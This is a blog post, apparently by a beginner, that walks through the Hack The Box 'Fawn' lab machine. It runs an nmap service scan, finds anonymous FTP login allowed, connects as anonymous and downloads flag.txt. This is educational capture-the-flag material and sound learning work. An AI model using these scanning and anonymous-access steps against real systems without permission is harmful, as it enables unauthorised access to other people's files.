DEV Community

tamilvanan
tamilvanan

Posted on

šŸ¦Œ Fawn ā€“ Hack The Box Walkthrough

Note: Iā€™m not an expert. Iā€™m writing this blog just to document my learning journey. šŸš€

šŸŽÆ Step 1: Setup

I connected to the Hack The Box VPN, then spawned the Fawn target machine and got its IP address:

10.129.197.22
Enter fullscreen mode Exit fullscreen mode

šŸ” Step 2: Scanning with Nmap

I ran an Nmap scan on the machine:

nmap -sV -sC -Pn 10.129.197.22
Enter fullscreen mode Exit fullscreen mode

Nmap output:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
Enter fullscreen mode Exit fullscreen mode

Only port 21 (FTP) is open, and anonymous login is allowed. I also noticed a file named flag.txt is accessible via FTP!

ā“ What is FTP?

FTP (File Transfer Protocol) is used to transfer files between a client and server over a network.
It typically runs over TCP, not UDP, because file transfers need to be reliable and complete.

šŸ› ļø Step 3: FTP Access

At first, when I tried to use ftp, I got an error:

command not found
Enter fullscreen mode Exit fullscreen mode

So I installed the FTP client:

sudo apt install ftp
Enter fullscreen mode Exit fullscreen mode

Then I connected to the target using anonymous login:

ftp 10.129.197.22

Name: anonymous
Password: [just press Enter]
Enter fullscreen mode Exit fullscreen mode

Once logged in, I listed the files:

ls
Enter fullscreen mode Exit fullscreen mode

Output:

flag.txt
Enter fullscreen mode Exit fullscreen mode

Then I downloaded the file:

get flag.txt
Enter fullscreen mode Exit fullscreen mode

šŸ Step 4: Capture the Flag

After downloading, I viewed the flag:

cat flag.txt
Enter fullscreen mode Exit fullscreen mode

šŸŽ‰ Root Flag Captured!

šŸ“š Summary

  • Service found: FTP on port 21
  • Vulnerability: Anonymous login allowed
  • Exploit: Connect and download the flag.txt file via FTP

šŸš€ Final Thoughts

This was a simple but great beginner-friendly machine that teaches:

  • Basic Nmap scanning
  • FTP concepts
  • Anonymous access exploitation

šŸ“ Happy hacking!
šŸ’¬ Let me know if you found this useful or have suggestions.

Top comments (0)